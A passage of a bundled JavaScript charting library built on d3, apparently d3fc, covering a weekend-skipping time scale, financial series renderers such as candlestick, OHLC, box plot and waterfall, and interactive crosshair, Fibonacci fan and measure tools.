var daysToAdd = date.getDay() === 0 ? 1 : 2;
// round the date down to midnight
var newDate = d3.time.day.floor(date);
// then add the required number of days
return d3.time.day.offset(newDate, daysToAdd);
} else {
return date;
}
};
// returns the number of included milliseconds (i.e. those which do not fall)
// within discontinuities, along this scale
skipWeekends.distance = function (startDate, endDate) {
startDate = skipWeekends.clampUp(startDate);
endDate = skipWeekends.clampDown(endDate);
// move the start date to the end of week boundary
var offsetStart = d3.time.saturday.ceil(startDate);
if (endDate < offsetStart) {
return endDate.getTime() - startDate.getTime();
}
var msAdded = offsetStart.getTime() - startDate.getTime();
// move the end date to the end of week boundary
var offsetEnd = d3.time.saturday.ceil(endDate);
var msRemoved = offsetEnd.getTime() - endDate.getTime();
// determine how many weeks there are between these two dates
// round to account for DST transitions
var weeks = Math.round((offsetEnd.getTime() - offsetStart.getTime()) / millisPerWeek);
return weeks * millisPerWorkWeek + msAdded - msRemoved;
};
skipWeekends.offset = function (startDate, ms) {
var date = isWeekend(startDate) ? skipWeekends.clampUp(startDate) : startDate;
if (ms === 0) {
return date;
}
var isNegativeOffset = ms < 0;
var isPositiveOffset = ms > 0;
var remainingms = ms;
// move to the end of week boundary for a postive offset or to the start of a week for a negative offset
var weekBoundary = isNegativeOffset ? d3.time.monday.floor(date) : d3.time.saturday.ceil(date);
remainingms -= weekBoundary.getTime() - date.getTime();
// if the distance to the boundary is greater than the number of ms
// simply add the ms to the current date
if (isNegativeOffset && remainingms > 0 || isPositiveOffset && remainingms < 0) {
return new Date(date.getTime() + ms);
}
// skip the weekend for a positive offset
date = isNegativeOffset ? weekBoundary : d3.time.day.offset(weekBoundary, 2);
// add all of the complete weeks to the date
var completeWeeks = Math.floor(remainingms / millisPerWorkWeek);
date = d3.time.day.offset(date, completeWeeks * 7);
remainingms -= completeWeeks * millisPerWorkWeek;
// add the remaining time
date = new Date(date.getTime() + remainingms);
return date;
};
skipWeekends.copy = function () {
return skipWeekends;
};
return skipWeekends;
}
var scale$1 = {
discontinuity: {
identity: identity$1,
skipWeekends: skipWeekends$1
},
dateTime: exportedScale
};
function ohlcBase () {
var xScale = d3.time.scale(),
yScale = d3.scale.linear(),
xValue = function xValue(d, i) {
return d.date;
},
yOpenValue = function yOpenValue(d, i) {
return d.open;
},
yHighValue = function yHighValue(d, i) {
return d.high;
},
yLowValue = function yLowValue(d, i) {
return d.low;
},
yCloseValue = function yCloseValue(d, i) {
return d.close;
},
barWidth = fractionalBarWidth(0.75),
xValueScaled = function xValueScaled(d, i) {
return xScale(xValue(d, i));
};
function base() {}
base.width = function (data) {
return barWidth(data.map(xValueScaled));
};
base.defined = function (d, i) {
return defined(xValue, yOpenValue, yLowValue, yHighValue, yCloseValue)(d, i);
};
base.values = function (d, i) {
var yCloseRaw = yCloseValue(d, i),
yOpenRaw = yOpenValue(d, i);
var direction = '';
if (yCloseRaw > yOpenRaw) {
direction = 'up';
} else if (yCloseRaw < yOpenRaw) {
direction = 'down';
}
return {
x: xValueScaled(d, i),
yOpen: yScale(yOpenRaw),
yHigh: yScale(yHighValue(d, i)),
yLow: yScale(yLowValue(d, i)),
yClose: yScale(yCloseRaw),
direction: direction
};
};
base.xScale = function (x) {
if (!arguments.length) {
return xScale;
}
xScale = x;
return base;
};
base.yScale = function (x) {
if (!arguments.length) {
return yScale;
}
yScale = x;
return base;
};
base.xValue = function (x) {
if (!arguments.length) {
return xValue;
}
xValue = x;
return base;
};
base.yOpenValue = function (x) {
if (!arguments.length) {
return yOpenValue;
}
yOpenValue = x;
return base;
};
base.yHighValue = function (x) {
if (!arguments.length) {
return yHighValue;
}
yHighValue = x;
return base;
};
base.yLowValue = function (x) {
if (!arguments.length) {
return yLowValue;
}
yLowValue = x;
return base;
};
base.yValue = base.yCloseValue = function (x) {
if (!arguments.length) {
return yCloseValue;
}
yCloseValue = x;
return base;
};
base.barWidth = function (x) {
if (!arguments.length) {
return barWidth;
}
barWidth = d3.functor(x);
return base;
};
return base;
}
function candlestick$1 () {
var decorate = noop,
base = ohlcBase();
var dataJoin$$ = dataJoin().selector('g.candlestick').element('g').attr('class', 'candlestick');
function containerTranslation(values) {
return 'translate(' + values.x + ', ' + values.yHigh + ')';
}
var candlestick$$ = function candlestick$$(selection) {
selection.each(function (data, index) {
var filteredData = data.filter(base.defined);
var g = dataJoin$$(this, filteredData);
g.enter().attr('transform', function (d, i) {
return containerTranslation(base.values(d, i)) + ' scale(1e-6, 1)';
}).append('path');
var pathGenerator = candlestick().width(base.width(filteredData));
g.each(function (d, i) {
var values = base.values(d, i);
var graph = d3.transition(d3.select(this)).attr({
'class': 'candlestick ' + values.direction,
'transform': function transform() {
return containerTranslation(values) + ' scale(1)';
}
});
pathGenerator.x(d3.functor(0)).open(function () {
return values.yOpen - values.yHigh;
}).high(function () {
return values.yHigh - values.yHigh;
}).low(function () {
return values.yLow - values.yHigh;
}).close(function () {
return values.yClose - values.yHigh;
});
graph.select('path').attr('d', pathGenerator([d]));
});
decorate(g, data, index);
});
};
candlestick$$.decorate = function (x) {
if (!arguments.length) {
return decorate;
}
decorate = x;
return candlestick$$;
};
d3.rebind(candlestick$$, dataJoin$$, 'key');
rebindAll(candlestick$$, base);
return candlestick$$;
}
function cycle () {
var decorate = noop,
xScale = d3.scale.linear(),
yScale = d3.scale.linear(),
xValue = function xValue(d, i) {
return d.date.getDay();
},
subScale = d3.scale.linear(),
subSeries = _line(),
barWidth = fractionalBarWidth(0.75);
var dataJoin$$ = dataJoin().selector('g.cycle').element('g').attr('class', 'cycle');
var cycle = function cycle(selection) {
selection.each(function (data, index) {
var dataByX = d3.nest().key(xValue).map(data);
var xValues = Object.keys(dataByX);
var width = barWidth(xValues.map(xScale)),
halfWidth = width / 2;
var g = dataJoin$$(this, xValues);
g.each(function (d, i) {
var graph = d3.select(this);
graph.attr('transform', 'translate(' + xScale(d) + ', 0)');
(subScale.rangeBands || subScale.range)([-halfWidth, halfWidth]);
subSeries.xScale(subScale).yScale(yScale);
d3.select(this).datum(dataByX[d]).call(subSeries);
});
decorate(g, xValues, index);
});
};
cycle.decorate = function (x) {
if (!arguments.length) {
return decorate;
}
decorate = x;
return cycle;
};
cycle.xScale = function (x) {
if (!arguments.length) {
return xScale;
}
xScale = x;
return cycle;
};
cycle.yScale = function (x) {
if (!arguments.length) {
return yScale;
}
yScale = x;
return cycle;
};
cycle.xValue = function (x) {
if (!arguments.length) {
return xValue;
}
xValue = x;
return cycle;
};
cycle.subScale = function (x) {
if (!arguments.length) {
return subScale;
}
subScale = x;
return cycle;
};
cycle.subSeries = function (x) {
if (!arguments.length) {
return subSeries;
}
subSeries = x;
return cycle;
};
cycle.barWidth = function (x) {
if (!arguments.length) {
return barWidth;
}
barWidth = d3.functor(x);
return cycle;
};
d3.rebind(cycle, dataJoin$$, 'key');
return cycle;
}
function ohlc$1 (drawMethod) {
var decorate = noop,
base = ohlcBase();
var dataJoin$$ = dataJoin().selector('g.ohlc').element('g').attr('class', 'ohlc');
function containerTranslation(values) {
return 'translate(' + values.x + ', ' + values.yHigh + ')';
}
var ohlc$$ = function ohlc$$(selection) {
selection.each(function (data, index) {
var filteredData = data.filter(base.defined);
var g = dataJoin$$(this, filteredData);
g.enter().attr('transform', function (d, i) {
return containerTranslation(base.values(d, i)) + ' scale(1e-6, 1)';
}).append('path');
var pathGenerator = ohlc().width(base.width(filteredData));
g.each(function (d, i) {
var values = base.values(d, i);
var graph = d3.transition(d3.select(this)).attr({
'class': 'ohlc ' + values.direction,
'transform': function transform() {
return containerTranslation(values) + ' scale(1)';
}
});
pathGenerator.x(d3.functor(0)).open(function () {
return values.yOpen - values.yHigh;
}).high(function () {
return values.yHigh - values.yHigh;
}).low(function () {
return values.yLow - values.yHigh;
}).close(function () {
return values.yClose - values.yHigh;
});
graph.select('path').attr('d', pathGenerator([d]));
});
decorate(g, data, index);
});
};
ohlc$$.decorate = function (x) {
if (!arguments.length) {
return decorate;
}
decorate = x;
return ohlc$$;
};
d3.rebind(ohlc$$, dataJoin$$, 'key');
rebindAll(ohlc$$, base);
return ohlc$$;
}
function _stack () {
var series = noop,
values = function values(d) {
return d.values;
};
var stack = function stack(selection) {
selection.each(function (data) {
var container = d3.select(this);
var dataJoin$$ = dataJoin().selector('g.stacked').element('g').attr('class', 'stacked');
var g = dataJoin$$(container, data);
g.enter().append('g');
g.select('g').datum(values).call(series);
});
};
stack.series = function (x) {
if (!arguments.length) {
return series;
}
series = x;
return stack;
};
stack.values = function (x) {
if (!arguments.length) {
return values;
}
values = x;
return stack;
};
return stack;
}
function area () {
var area = _area().yValue(function (d) {
return d.y0 + d.y;
}).y0Value(function (d) {
return d.y0;
});
var stack = _stack().series(area);
var stackedArea = function stackedArea(selection) {
selection.call(stack);
};
rebindAll(stackedArea, area);
return stackedArea;
}
function bar$1 () {
var bar = barUtil().yValue(function (d) {
return d.y0 + d.y;
}).y0Value(function (d) {
return d.y0;
});
var stack = _stack().series(bar);
var stackedBar = function stackedBar(selection) {
selection.call(stack);
};
rebindAll(stackedBar, bar);
return stackedBar;
}
function line$1 () {
var line = _line().yValue(function (d) {
return d.y0 + d.y;
});
var stack = _stack().series(line);
var stackedLine = function stackedLine(selection) {
selection.call(stack);
};
rebindAll(stackedLine, line);
return stackedLine;
}
var stacked = {
area: area,
bar: bar$1,
stack: _stack,
line: line$1
};
function grouped (series) {
var barWidth = fractionalBarWidth(0.75),
decorate = noop,
xScale = d3.scale.linear(),
values = function values(d) {
return d.values;
};
var dataJoin$$ = dataJoin().selector('g.stacked').element('g').attr('class', 'stacked');
var grouped = function grouped(selection) {
selection.each(function (data) {
var value = series.xValue(),
x = function x(d, i) {
return xScale(value(d, i));
},
width = barWidth(data[0].values.map(x)),
offsetScale = d3.scale.linear();
if (series.barWidth) {
var subBarWidth = width / (data.length - 1);
series.barWidth(subBarWidth);
}
var halfWidth = width / 2;
offsetScale.domain([0, data.length - 1]).range([-halfWidth, halfWidth]);
var g = dataJoin$$(this, data);
g.enter().append('g');
g.select('g').datum(values).each(function (_, index) {
var container = d3.select(this);
// create a composite scale that applies the required offset
var compositeScale = function compositeScale(_x) {
return xScale(_x) + offsetScale(index);
};
series.xScale(compositeScale);
// adapt the decorate function to give each series the correct index
series.decorate(function (s, d) {
decorate(s, d, index);
});
container.call(series);
});
});
};
grouped.groupWidth = function (_x) {
if (!arguments.length) {
return barWidth;
}
barWidth = d3.functor(_x);
return grouped;
};
grouped.decorate = function (_x) {
if (!arguments.length) {
return decorate;
}
decorate = _x;
return grouped;
};
grouped.xScale = function (_x) {
if (!arguments.length) {
return xScale;
}
xScale = _x;
return grouped;
};
grouped.values = function (_x) {
if (!arguments.length) {
return values;
}
values = _x;
return grouped;
};
rebindAll(grouped, series, exclude('decorate', 'xScale'));
return grouped;
}
function errorBar$1 () {
var xScale = d3.time.scale(),
yScale = d3.scale.linear(),
high = function high(d, i) {
return d.high;
},
low = function low(d, i) {
return d.low;
},
value = function value(d, i) {
return d.value;
},
orient = 'vertical',
barWidth = fractionalBarWidth(0.5),
decorate = noop;
var dataJoin$$ = dataJoin().selector('g.errorBar').element('g').attr('class', 'errorBar');
var pathGenerator = errorBar().value(0);
var errorBar$$ = function errorBar$$(selection) {
selection.each(function (data, index) {
var filteredData = data.filter(defined(low, high, value, value));
var g = dataJoin$$(this, filteredData);
g.enter().append('path');
var scale = orient === 'vertical' ? xScale : yScale;
var width = barWidth(filteredData.map(function (d, i) {
return scale(value(d, i));
}));
pathGenerator.orient(orient).width(width);
g.each(function (d, i) {
var origin, _high, _low;
if (orient === 'vertical') {
var y = yScale(high(d, i));
origin = xScale(value(d, i)) + ',' + y;
_high = 0;
_low = yScale(low(d, i)) - y;
} else {
var x = xScale(low(d, i));
origin = x + ',' + yScale(value(d, i));
_high = xScale(high(d, i)) - x;
_low = 0;
}
pathGenerator.high(_high).low(_low);
d3.select(this).attr('transform', 'translate(' + origin + ')').select('path').attr('d', pathGenerator([d]));
});
decorate(g, data, index);
});
};
errorBar$$.orient = function (x) {
if (!arguments.length) {
return orient;
}
orient = x;
return errorBar$$;
};
errorBar$$.xScale = function (x) {
if (!arguments.length) {
return xScale;
}
xScale = x;
return errorBar$$;
};
errorBar$$.yScale = function (x) {
if (!arguments.length) {
return yScale;
}
yScale = x;
return errorBar$$;
};
errorBar$$.low = function (x) {
if (!arguments.length) {
return low;
}
low = d3.functor(x);
return errorBar$$;
};
errorBar$$.high = function (x) {
if (!arguments.length) {
return high;
}
high = d3.functor(x);
return errorBar$$;
};
errorBar$$.value = function (x) {
if (!arguments.length) {
return value;
}
value = d3.functor(x);
return errorBar$$;
};
errorBar$$.barWidth = function (x) {
if (!arguments.length) {
return barWidth;
}
barWidth = d3.functor(x);
return errorBar$$;
};
errorBar$$.decorate = function (x) {
if (!arguments.length) {
return decorate;
}
decorate = x;
return errorBar$$;
};
d3.rebind(errorBar$$, dataJoin$$, 'key');
return errorBar$$;
}
function waterfall () {
function isVertical() {
return bar.orient() === 'vertical';
}
var bar = barUtil();
var waterfall = function waterfall(selection) {
bar.xValue(function (d, i) {
return isVertical() ? d.x : d.y1;
}).yValue(function (d, i) {
return isVertical() ? d.y1 : d.x;
}).x0Value(function (d, i) {
return isVertical() ? 0 : d.y0;
}).y0Value(function (d, i) {
return isVertical() ? d.y0 : 0;
}).decorate(function (g, d1, i) {
g.enter().attr('class', 'waterfall ' + bar.orient()).classed('up', function (d) {
return d.direction === 'up';
}).classed('down', function (d) {
return d.direction === 'down';
});
});
bar(selection);
};
rebindAll(waterfall, bar);
return waterfall;
}
function waterfall$1 () {
var xValueKey = '',
yValue = function yValue(d) {
return d.y;
},
startsWithTotal = false,
totals = function totals(d, i, data) {
if (i === data.length - 1) {
return 'Final';
}
},
directions = {
up: 'up',
down: 'down',
unchanged: 'unchanged'
};
var waterfall = function waterfall(data) {
var length = data.length,
i = 0,
previousEnd = 0,
start,
end,
total,
result = [];
if (startsWithTotal) {
// First value is a total
previousEnd = yValue(data[0]);
result.push({
x: data[0][xValueKey],
y0: 0,
y1: previousEnd,
direction: directions.unchanged
});
i = 1;
}
for (i; i < length; i += 1) {
start = previousEnd;
end = yValue(data[i]) + previousEnd;
result.push({
x: data[i][xValueKey],
y0: start,
y1: end,
direction: end - start > 0 ? directions.up : directions.down
});
total = totals(data[i], i, data);
if (total) {
// Insert a total value here
result.push({
x: total,
y0: 0,
y1: end,
direction: directions.unchanged
});
}
previousEnd = end;
}
return result;
};
waterfall.xValueKey = function (x) {
if (!arguments.length) {
return xValueKey;
}
xValueKey = x;
return waterfall;
};
waterfall.yValue = function (x) {
if (!arguments.length) {
return yValue;
}
yValue = x;
return waterfall;
};
waterfall.total = function (x) {
if (!arguments.length) {
return totals;
}
totals = x;
return waterfall;
};
waterfall.startsWithTotal = function (x) {
if (!arguments.length) {
return startsWithTotal;
}
startsWithTotal = x;
return waterfall;
};
return waterfall;
}
var algorithm$1 = {
waterfall: waterfall$1
};
function boxPlot$1 () {
var xScale = d3.time.scale(),
yScale = d3.scale.linear(),
upperQuartile = function upperQuartile(d, i) {
return d.upperQuartile;
},
lowerQuartile = function lowerQuartile(d, i) {
return d.lowerQuartile;
},
high = function high(d, i) {
return d.high;
},
low = function low(d, i) {
return d.low;
},
value = function value(d, i) {
return d.value;
},
median = function median(d, i) {
return d.median;
},
orient = 'vertical',
barWidth = fractionalBarWidth(0.5),
decorate = noop;
var dataJoin$$ = dataJoin().selector('g.box-plot').element('g').attr('class', 'box-plot');
var pathGenerator = boxPlot().value(0);
var boxPlot$$ = function boxPlot$$(selection) {
selection.each(function (data, index) {
var filteredData = data.filter(defined(low, high, lowerQuartile, upperQuartile, value, median));
var g = dataJoin$$(this, filteredData);
g.enter().append('path');
var scale = orient === 'vertical' ? xScale : yScale;
var width = barWidth(filteredData.map(function (d, i) {
return scale(value(d, i));
}));
pathGenerator.orient(orient).width(width);
g.each(function (d, i) {
var origin, _median, _upperQuartile, _lowerQuartile, _high, _low;
if (orient === 'vertical') {
var y = yScale(high(d, i));
origin = xScale(value(d, i)) + ',' + y;
_high = 0;
_upperQuartile = yScale(upperQuartile(d, i)) - y;
_median = yScale(median(d, i)) - y;
_lowerQuartile = yScale(lowerQuartile(d, i)) - y;
_low = yScale(low(d, i)) - y;
} else {
var x = xScale(low(d, i));
origin = x + ',' + yScale(value(d, i));
_high = xScale(high(d, i)) - x;
_upperQuartile = xScale(upperQuartile(d, i)) - x;
_median = xScale(median(d, i)) - x;
_lowerQuartile = xScale(lowerQuartile(d, i)) - x;
_low = 0;
}
pathGenerator.median(_median).upperQuartile(_upperQuartile).lowerQuartile(_lowerQuartile).high(_high).low(_low);
d3.select(this).attr('transform', 'translate(' + origin + ')').select('path').attr('d', pathGenerator([d]));
});
decorate(g, data, index);
});
};
boxPlot$$.orient = function (x) {
if (!arguments.length) {
return orient;
}
orient = x;
return boxPlot$$;
};
boxPlot$$.xScale = function (x) {
if (!arguments.length) {
return xScale;
}
xScale = x;
return boxPlot$$;
};
boxPlot$$.yScale = function (x) {
if (!arguments.length) {
return yScale;
}
yScale = x;
return boxPlot$$;
};
boxPlot$$.lowerQuartile = function (x) {
if (!arguments.length) {
return lowerQuartile;
}
lowerQuartile = d3.functor(x);
return boxPlot$$;
};
boxPlot$$.upperQuartile = function (x) {
if (!arguments.length) {
return upperQuartile;
}
upperQuartile = d3.functor(x);
return boxPlot$$;
};
boxPlot$$.low = function (x) {
if (!arguments.length) {
return low;
}
low = d3.functor(x);
return boxPlot$$;
};
boxPlot$$.high = function (x) {
if (!arguments.length) {
return high;
}
high = d3.functor(x);
return boxPlot$$;
};
boxPlot$$.value = function (x) {
if (!arguments.length) {
return value;
}
value = d3.functor(x);
return boxPlot$$;
};
boxPlot$$.median = function (x) {
if (!arguments.length) {
return median;
}
median = d3.functor(x);
return boxPlot$$;
};
boxPlot$$.barWidth = function (x) {
if (!arguments.length) {
return barWidth;
}
barWidth = d3.functor(x);
return boxPlot$$;
};
boxPlot$$.decorate = function (x) {
if (!arguments.length) {
return decorate;
}
decorate = x;
return boxPlot$$;
};
d3.rebind(boxPlot$$, dataJoin$$, 'key');
d3.rebind(boxPlot$$, pathGenerator, 'cap');
return boxPlot$$;
}
var series = {
area: _area,
axis: axis,
bar: barUtil,
candlestick: candlestick$1,
cycle: cycle,
line: _line,
multi: _multi,
ohlc: ohlc$1,
point: point,
stacked: stacked,
grouped: grouped,
xyBase: xyBase,
ohlcBase: ohlcBase,
errorBar: errorBar$1,
boxPlot: boxPlot$1,
waterfall: waterfall,
algorithm: algorithm$1
};
var svg = {
axis: axis$1,
bar: bar,
boxPlot: boxPlot,
candlestick: candlestick,
errorBar: errorBar,
ohlc: ohlc
};
// searches for a minimum when applying the given accessor to each item within the supplied array.
// The returned array has the following form:
// [minumum accessor value, datum, index]
function minimum$1(data, accessor) {
return data.map(function (dataPoint, index) {
return [accessor(dataPoint, index), dataPoint, index];
}).reduce(function (accumulator, dataPoint) {
return accumulator[0] > dataPoint[0] ? dataPoint : accumulator;
}, [Number.MAX_VALUE, null, -1]);
}
function noSnap(xScale, yScale) {
return function (xPixel, yPixel) {
return {
x: xPixel,
y: yPixel
};
};
}
function pointSnap(xScale, yScale, xValue, yValue, data, objectiveFunction) {
// a default function that computes the distance between two points
objectiveFunction = objectiveFunction || function (x, y, cx, cy) {
var dx = x - cx,
dy = y - cy;
return dx * dx + dy * dy;
};
return function (xPixel, yPixel) {
var filtered = data.filter(function (d, i) {
return defined(xValue, yValue)(d, i);
});
var nearest = minimum$1(filtered, function (d) {
return objectiveFunction(xPixel, yPixel, xScale(xValue(d)), yScale(yValue(d)));
})[1];
return {
datum: nearest,
x: nearest ? xScale(xValue(nearest)) : xPixel,
y: nearest ? yScale(yValue(nearest)) : yPixel
};
};
}
function seriesPointSnap(series, data, objectiveFunction) {
return function (xPixel, yPixel) {
var xScale = series.xScale(),
yScale = series.yScale(),
xValue = series.xValue(),
yValue = (series.yValue || series.yCloseValue).call(series);
return pointSnap(xScale, yScale, xValue, yValue, data, objectiveFunction)(xPixel, yPixel);
};
}
function seriesPointSnapXOnly(series, data) {
function objectiveFunction(x, y, cx, cy) {
var dx = x - cx;
return Math.abs(dx);
}
return seriesPointSnap(series, data, objectiveFunction);
}
function seriesPointSnapYOnly(series, data) {
function objectiveFunction(x, y, cx, cy) {
var dy = y - cy;
return Math.abs(dy);
}
return seriesPointSnap(series, data, objectiveFunction);
}
function crosshair () {
var event = d3.dispatch('trackingstart', 'trackingmove', 'trackingend'),
xScale = d3.time.scale(),
yScale = d3.scale.linear(),
snap = function snap(_x, _y) {
return noSnap(xScale, yScale)(_x, _y);
},
decorate = noop;
var x = function x(d) {
return d.x;
},
y = function y(d) {
return d.y;
};
var dataJoin$$ = dataJoin().children(true).selector('g.crosshair').element('g').attr('class', 'crosshair');
var pointSeries = point().xValue(x).yValue(y);
var horizontalLine = line().value(y).label(function (d) {
return d.y;
});
var verticalLine = line().orient('vertical').value(x).label(function (d) {
return d.x;
});
// the line annotations used to render the crosshair are positioned using
// screen coordinates. This function constructs a suitable scale for rendering
// these annotations.
function identityScale(scale) {
return d3.scale.identity().range(range(scale));
}
var crosshair = function crosshair(selection) {
selection.each(function (data, index) {
var container = d3.select(this).style('pointer-events', 'all').on('mouseenter.crosshair', mouseenter).on('mousemove.crosshair', mousemove).on('wheel.crosshair', mousemove).on('mouseleave.crosshair', mouseleave);
var overlay = container.selectAll('rect').data([data]);
overlay.enter().append('rect').style('visibility', 'hidden');
container.select('rect').attr('x', range(xScale)[0]).attr('y', range(yScale)[1]).attr('width', range(xScale)[1]).attr('height', range(yScale)[0]);
var crosshairElement = dataJoin$$(container, data);
crosshairElement.enter().style('pointer-events', 'none');
var multi = _multi().series([horizontalLine, verticalLine, pointSeries]).xScale(identityScale(xScale)).yScale(identityScale(yScale)).mapping(function () {
return [this];
});
crosshairElement.call(multi);
decorate(crosshairElement, data, index);
});
};
function mouseenter() {
var mouse = d3.mouse(this);
var container = d3.select(this);
var snapped = snap.apply(this, mouse);
var data = container.datum();
data.push(snapped);
container.call(crosshair);
event.trackingstart.apply(this, arguments);
}
function mousemove() {
var mouse = d3.mouse(this);
var container = d3.select(this);
var snapped = snap.apply(this, mouse);
var data = container.datum();
data[data.length - 1] = snapped;
container.call(crosshair);
event.trackingmove.apply(this, arguments);
}
function mouseleave() {
var container = d3.select(this);
var data = container.datum();
data.pop();
container.call(crosshair);
event.trackingend.apply(this, arguments);
}
crosshair.xScale = function (_x) {
if (!arguments.length) {
return xScale;
}
xScale = _x;
return crosshair;
};
crosshair.yScale = function (_x) {
if (!arguments.length) {
return yScale;
}
yScale = _x;
return crosshair;
};
crosshair.snap = function (_x) {
if (!arguments.length) {
return snap;
}
snap = _x;
return crosshair;
};
crosshair.decorate = function (_x) {
if (!arguments.length) {
return decorate;
}
decorate = _x;
return crosshair;
};
d3.rebind(crosshair, event, 'on');
var lineIncludes = include('label');
rebindAll(crosshair, horizontalLine, lineIncludes, prefix('y'));
rebindAll(crosshair, verticalLine, lineIncludes, prefix('x'));
return crosshair;
}
function fibonacciFan () {
var event = d3.dispatch('fansource', 'fantarget', 'fanclear'),
xScale = d3.time.scale(),
yScale = d3.scale.linear(),
snap = function snap(_x, _y) {
return noSnap(xScale, yScale)(_x, _y);
},
decorate = noop;
var x = function x(d) {
return d.x;
},
y = function y(d) {
return d.y;
};
var dataJoin$$ = dataJoin().selector('g.fan').element('g').attr('class', 'fan');
var fan = function fan(selection) {
selection.each(function (data, index) {
var container = d3.select(this).style('pointer-events', 'all').on('mouseenter.fan', mouseenter);
var overlay = container.selectAll('rect').data([data]);
overlay.enter().append('rect').style('visibility', 'hidden');
container.select('rect').attr('x', xScale.range()[0]).attr('y', yScale.range()[1]).attr('width', xScale.range()[1]).attr('height', yScale.range()[0]);
var g = dataJoin$$(container, data);
g.each(function (d) {
d.x = xScale.range()[1];
d.ay = d.by = d.cy = y(d.target);
if (x(d.source) !== x(d.target)) {
if (d.state === 'DONE' && x(d.source) > x(d.target)) {
var temp = d.source;
d.source = d.target;
d.target = temp;
}
var gradient = (y(d.target) - y(d.source)) / (x(d.target) - x(d.source));
var deltaX = d.x - x(d.source);
var deltaY = gradient * deltaX;
d.ay = 0.618 * deltaY + y(d.source);
d.by = 0.500 * deltaY + y(d.source);
d.cy = 0.382 * deltaY + y(d.source);
}
});
var enter = g.enter();
enter.append('line').attr('class', 'trend');
enter.append('line').attr('class', 'a');
enter.append('line').attr('class', 'b');
enter.append('line').attr('class', 'c');
enter.append('polygon').attr('class', 'area');
g.select('line.trend').attr('x1', function (d) {
return x(d.source);
}).attr('y1', function (d) {
return y(d.source);
}).attr('x2', function (d) {
return x(d.target);
}).attr('y2', function (d) {
return y(d.target);
});
g.select('line.a').attr('x1', function (d) {
return x(d.source);
}).attr('y1', function (d) {
return y(d.source);
}).attr('x2', function (d) {
return d.x;
}).attr('y2', function (d) {
return d.ay;
}).style('visibility', function (d) {
return d.state !== 'DONE' ? 'hidden' : 'visible';
});
g.select('line.b').attr('x1', function (d) {
return x(d.source);
}).attr('y1', function (d) {
return y(d.source);
}).attr('x2', function (d) {
return d.x;
}).attr('y2', function (d) {
return d.by;
}).style('visibility', function (d) {
return d.state !== 'DONE' ? 'hidden' : 'visible';
});
g.select('line.c').attr('x1', function (d) {
return x(d.source);
}).attr('y1', function (d) {
return y(d.source);
}).attr('x2', function (d) {
return d.x;
}).attr('y2', function (d) {
return d.cy;
}).style('visibility', function (d) {
return d.state !== 'DONE' ? 'hidden' : 'visible';
});
g.select('polygon.area').attr('points', function (d) {
return x(d.source) + ',' + y(d.source) + ' ' + d.x + ',' + d.ay + ' ' + d.x + ',' + d.cy;
}).style('visibility', function (d) {
return d.state !== 'DONE' ? 'hidden' : 'visible';
});
decorate(g, data, index);
});
};
function updatePositions() {
var container = d3.select(this);
var datum = container.datum()[0];
if (datum.state !== 'DONE') {
var mouse = d3.mouse(this);
var snapped = snap.apply(this, mouse);
if (datum.state === 'SELECT_SOURCE') {
datum.source = datum.target = snapped;
} else if (datum.state === 'SELECT_TARGET') {
datum.target = snapped;
} else {
throw new Error('Unknown state ' + datum.state);
}
}
}
function mouseenter() {
var container = d3.select(this).on('click.fan', mouseclick).on('mousemove.fan', mousemove).on('mouseleave.fan', mouseleave);
var data = container.datum();
if (data[0] == null) {
data.push({
state: 'SELECT_SOURCE'
});
}
updatePositions.call(this);
container.call(fan);
}
function mousemove() {
var container = d3.select(this);
updatePositions.call(this);
container.call(fan);
}
function mouseleave() {
var container = d3.select(this);
var data = container.datum();
if (data[0] != null && data[0].state === 'SELECT_SOURCE') {
data.pop();
}
container.on('click.fan', null).on('mousemove.fan', null).on('mouseleave.fan', null);
}
function mouseclick() {
var container = d3.select(this);
var datum = container.datum()[0];
switch (datum.state) {
case 'SELECT_SOURCE':
updatePositions.call(this);
event.fansource.apply(this, arguments);
datum.state = 'SELECT_TARGET';
break;
case 'SELECT_TARGET':
updatePositions.call(this);
event.fantarget.apply(this, arguments);
datum.state = 'DONE';
break;
case 'DONE':
event.fanclear.apply(this, arguments);
datum.state = 'SELECT_SOURCE';
updatePositions.call(this);
break;
default:
throw new Error('Unknown state ' + datum.state);
}
container.call(fan);
}
fan.xScale = function (_x) {
if (!arguments.length) {
return xScale;
}
xScale = _x;
return fan;
};
fan.yScale = function (_x) {
if (!arguments.length) {
return yScale;
}
yScale = _x;
return fan;
};
fan.snap = function (_x) {
if (!arguments.length) {
return snap;
}
snap = _x;
return fan;
};
fan.decorate = function (_x) {
if (!arguments.length) {
return decorate;
}
decorate = _x;
return fan;
};
d3.rebind(fan, event, 'on');
return fan;
}
function measure () {
var event = d3.dispatch('measuresource', 'measuretarget', 'measureclear'),
xScale = d3.time.scale(),
yScale = d3.scale.linear(),
snap = function snap(_x, _y) {
return noSnap(xScale, yScale)(_x, _y);
},
decorate = noop,
xLabel = d3.functor(''),
yLabel = d3.functor(''),
padding = d3.functor(2);
var x = function x(d) {
return d.x;
},
y = function y(d) {
return d.y;
};
var dataJoin$$ = dataJoin().selector('g.measure').element('g').attr('class', 'measure');
var measure = function measure(selection) {
selection.each(function (data, index) {
var container = d3.select(this).style('pointer-events', 'all').on('mouseenter.measure', mouseenter);
var overlay = container.selectAll('rect').data([data]);
overlay.enter().append('rect').style('visibility', 'hidden');
container.select('rect').attr('x', xScale.range()[0]).attr('y', yScale.range()[1]).attr('width', xScale.range()[1]).attr('height', yScale.range()[0]);
var g = dataJoin$$(container, data);
var enter = g.enter();
enter.append('line').attr('class', 'tangent');
enter.append('line').attr('class', 'horizontal');
enter.append('line').attr('class', 'vertical');
enter.append('text').attr('class', 'horizontal');
enter.append('text').attr('class', 'vertical');
g.select('line.tangent').attr('x1', function (d) {
return x(d.source);
}).attr('y1', function (d) {
return y(d.source);
}).attr('x2', function (d) {
return x(d.target);
}).attr('y2', function (d) {
return y(d.target);
});
g.select('line.horizontal').attr('x1', function (d) {
return x(d.source);
}).attr('y1', function (d) {
return y(d.source);
}).attr('x2', function (d) {
return x(d.target);
}).attr('y2', function (d) {
return y(d.source);
}).style('visibility', function (d) {
return d.state !== 'DONE' ? 'hidden' : 'visible';
});
g.select('line.vertical').attr('x1', function (d) {
return x(d.target);
}).attr('y1', function (d) {
return y(d.target);
}).attr('x2', function (d) {
return x(d.target);
}).attr('y2', function (d) {
return y(d.source);
}).style('visibility', function (d) {
return d.state !== 'DONE' ? 'hidden' : 'visible';
});
var paddingValue = padding.apply(this, arguments);
g.select('text.horizontal').attr('x', function (d) {
return x(d.source) + (x(d.target) - x(d.source)) / 2;
}).attr('y', function (d) {
return y(d.source) - paddingValue;
}).style('visibility', function (d) {
